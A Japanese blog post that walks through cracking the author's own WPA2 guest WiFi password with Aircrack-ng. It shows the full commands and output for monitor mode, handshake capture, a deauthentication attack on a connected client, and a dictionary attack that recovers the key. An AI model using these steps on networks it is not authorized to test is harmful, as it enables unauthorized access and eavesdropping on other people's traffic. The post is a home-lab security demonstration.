
#94 Aircrack-ng
誰もがスマホを持ち歩く時代になりました。各家庭にはもちろん、コンビニや駅など至るところでWiFiアクセスポイントが設置され、無線通信が行われています。無線通信はその性質上、通信を隠すことはできません。つまり、だれでも通信を覗き見ることができます。通信の中身は暗号化されているので、簡単に内容を知ることはできませんが、アクセスポイントの設定によっては復号されてしまいます。
Aircrack-ngは、WiFiのセキュリティ調査を行うのに便利なツール群です。
自宅のWiFiでちょっと遊んでみます。
パスワードクラッキング
Aircrack-ngを使って、自宅のWiFiのパスワードを特定してみます。アクセスポイントには「kusa_GUEST」というSSIDで、簡単なパスワードを設定してあります。
攻撃の流れ
攻撃対象の通信は、WPA2で暗号化されています。WPA2では、EAPOL ハンドシェイクと呼ばれる4つのメッセージをやり取りして、暗号化鍵を生成します。その際に、パスワードを使った認証が行われます。
攻撃の目標は、通信を復号するのに必要なパスワードとEAPOLハンドシェイクを取得することとなります。
手順は以下の通りです。
PCのWiFiインターフェースをモニターモードにする
攻撃対象の情報収集
通信のキャプチャ
ハンドシェイクが行われるよう、アクセスポイントとクライアントの通信を切断させる
キャプチャしたハンドシェイクからパスワードクラッキング
それではやってみましょう。
モニターモード
まずはairmon-ngでWiFiインターフェースをモニターモードに設定します。事前に、競合するプロセスをキルしなければいけません。
$ sudo airmon-ng
[sudo] password for kali:
PHY Interface Driver Chipset
phy0 wlan0 rtl8xxxu Realtek Semiconductor Corp. RTL8188EUS 802.11n Wireless Network Adapter
$ sudo airmon-ng check
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
618 NetworkManager
879 wpa_supplicant
$ sudo airmon-ng check kill
Killing these processes:
PID Name
879 wpa_supplicant
$ sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 rtl8xxxu Realtek Semiconductor Corp. RTL8188EUS 802.11n Wireless Network Adapter
(monitor mode enabled)
情報収集
情報収集のため、wlan0インターフェースの通信を確認します。airodump-ngを使うと、アクセスポイントの一覧と統計情報が簡単に確認できます。
$ sudo airodump-ng wlan0
CH 6 ][ Elapsed: 36 s ][ 2023-09-10 00:56 ][
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FA:47:55:16:6D:0D -28 15 1 0 5 130 WPA3 CCMP SAE kusa
2A:EE:52:97:19:0A -46 89 0 0 5 720 WPA2 CCMP PSK kusa_GUEST
28:EE:52:B7:19:0A -46 94 45 0 5 720 WPA2 CCMP PSK kusa_2.4G
BSSID STATION PWR Rate Lost Frames Notes Probes
2A:EE:52:97:19:0A 4E:2E:61:9D:62:90 -29 1e-24 1950 685 EAPOL
今回のターゲットは、kusa_GUESTです。WPA2でPSK(事前共有鍵)認証なので、いけそうです。また、下部には、kusa_GUESTに接続されているクライアントの情報が表示されています。Notesに「EAPOL」とあるので、ハンドシェイクが行われていそうです。
通信のキャプチャ
攻撃対象の通信のみに絞って、キャプチャを行います。その際、キャプチャした通信をファイルに書き出します。
$ sudo airodump-ng wlan0 -c 5 --bssid 2A:EE:52:97:19:0A -w wpa
01:21:59 Created capture file "wpa-01.cap".
CH 5 ][ Elapsed: 36 s ][ 2023-09-10 01:22 ][
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
2A:EE:52:97:19:0A -50 33 338 25 0 5 720 WPA2 CCMP PSK kusa_GUEST
BSSID STATION PWR Rate Lost Frames Notes Probes
2A:EE:52:97:19:0A 4E:2E:61:9D:62:90 -29 1e-24 1950 685 EAPOL
通信の強制切断
キャプチャを起動したまま、アクセスポイントとクライアントの通信を切断させます。deauthenticationメッセージを送信することで、一度通信が切断され、再度接続が試みられます。そこで発生するハンドシェイクを先ほど立ち上げたキャプチャで盗みます。
aireplay-ngを使えば簡単です。
$ sudo aireplay-ng -0 1 -a 2A:EE:52:97:19:0A -c 4E:2E:61:9D:62:90 wlan0
01:22:31 Waiting for beacon frame (BSSID: 2A:EE:52:97:19:0A) on channel 5
01:22:32 Sending 64 directed DeAuth (code 7). STMAC: [4E:2E:61:9D:62:90] [27|66 ACKs]
すると、airodump-ngのキャプチャ画面に以下のように表示され、ハンドシェイクがうまくキャプチャできたことがわかります。
WPA handshake: 2A:EE:52:97:19:0A
キャプチャはpcap形式で保存されているので、これをクラックします。
パスワード窃取
キャプチャのクラック方法は様々ありますが、aircrack-ngで行います。
$ aircrack-ng -w /usr/share/john/password.lst -e kusa_GUEST -b 2A:EE:52:97:19:0A wpa-01.cap
Reading packets, please wait...
Opening wpa-01.cap
Read 1611 packets.
1 potential targets
Aircrack-ng 1.7
[00:00:01] 3211/3559 keys tested (2940.60 k/s)
Time left: 0 seconds 90.22%
KEY FOUND! [ password1 ]
Master Key : F1 8A E3 93 05 33 8E 79 58 8C EB D5 02 8D C0 0A
D9 4A 19 55 E2 21 FD C6 EB 1A 49 13 BD 35 A0 D5
Transient Key : AC 56 3B 51 EA 99 E2 6A A4 D4 EE 23 AC E4 C3 06
AB AD C7 71 25 32 CB A1 F3 57 55 C7 C6 C8 FD 8B
BD 1C 7B 09 DC 79 72 79 74 C3 90 6A D2 99 75 A7
BA 5E A4 CA EF 11 CF 77 A4 23 72 DC 8E F5 6E 5C
EAPOL HMAC : A6 75 F1 D5 B6 3E 93 93 7D 5E 27 F1 36 40 60 12
見事、パスワードの特定に成功しました!単純なパスワードなので、あっという間に終わりました。このパスワードで、アクセスポイントに接続したり、通信の復号ができてしまいます。怖い!
※許可なく上記の攻撃を行うのは違法です。ご注意ください。
まとめ
通信の復号までは試しませんでしたが、簡単にWiFiのセキュリティが破られてしまうことが体感できました。設定次第では、暗号化されていても情報が漏れてしまいます。公衆フリーWiFiには、他にも危険があるので、ぼくはあまり使いません。
EOF